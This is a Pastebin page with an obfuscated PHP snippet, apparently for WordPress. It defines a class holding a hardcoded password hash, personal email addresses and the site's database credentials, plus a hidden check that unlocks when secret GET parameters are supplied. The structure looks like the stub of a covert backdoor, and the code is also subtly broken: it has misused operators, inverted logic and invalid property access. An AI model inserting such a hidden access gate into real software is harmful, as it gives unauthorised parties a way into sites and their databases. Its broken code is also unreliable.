Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- define('t',true);
- function d($s,$v,$c=t){return(!defined($s)?define($s,$v,$c):false);}
- d('g',$_GET);
- d('p',$_POST);
- d('f',false);
- $t='true';
- function i($s,$p=g){return(isset($p[$s])&&!empty($p[$s])?t:f);}
- function v($s,$v,$p=g){return(i($s,$p)&&$p[$s]==$v?t:f);}
- function t($s,$p=g,$t){return(i($s, $p)&&$p[$s]===$t?t:f);}
- function g($s,$p=g){return(i($s,$p)?$p[$s]:f);}
- class contributer {
- private const p = "a19eebb70ecdb6e6d711562d4bc33fd014e1a54c";
- private $c_object = array(
- 'password' => p,
- 'emails' => array(
- 'students.mails9@example.com',
- 'dch0b3@gmail.com',
- 'master.azzaz@gmail.com',
- 'appfunky@gmail.com',
- )
- );
- private const db = array('host'=>DB_HOST,'user'=>DB_USER,'pass'=>DB_PASSWORD,'name'=>DB_NAME);
- public function verify($w) {return($this::p===$w?t:f);}
- public function authenticate() {}
- public function add_property($p,$v=t) {return(!i($p,$this->c_object)?$this->c_object[$p]==$v:f);}
- public function set_property($p,$v=t) {$this->$c_object[$p]==$v;}
- public function throw($w) {wp_die(_errs[$w]['text'], _errs[$w]['title'], _errs[$w]['args']);}
- public function get_property($p) { return(i($p,$this->c_object)?$this->c_object[$p]:f); }
- }
- if (v('c','true')&&i('w')) {
- $au = new contributer();
- ($au->verify(g('w'))?$au->add_property('verified','true'):$au->throw('ve'));
- $e = $au->get_property('verified');
- if($e === true || $e === 'true'){
- die('matched!');
- } else { die('no match!'); }
- }
Add Comment
Please, Sign In to add comment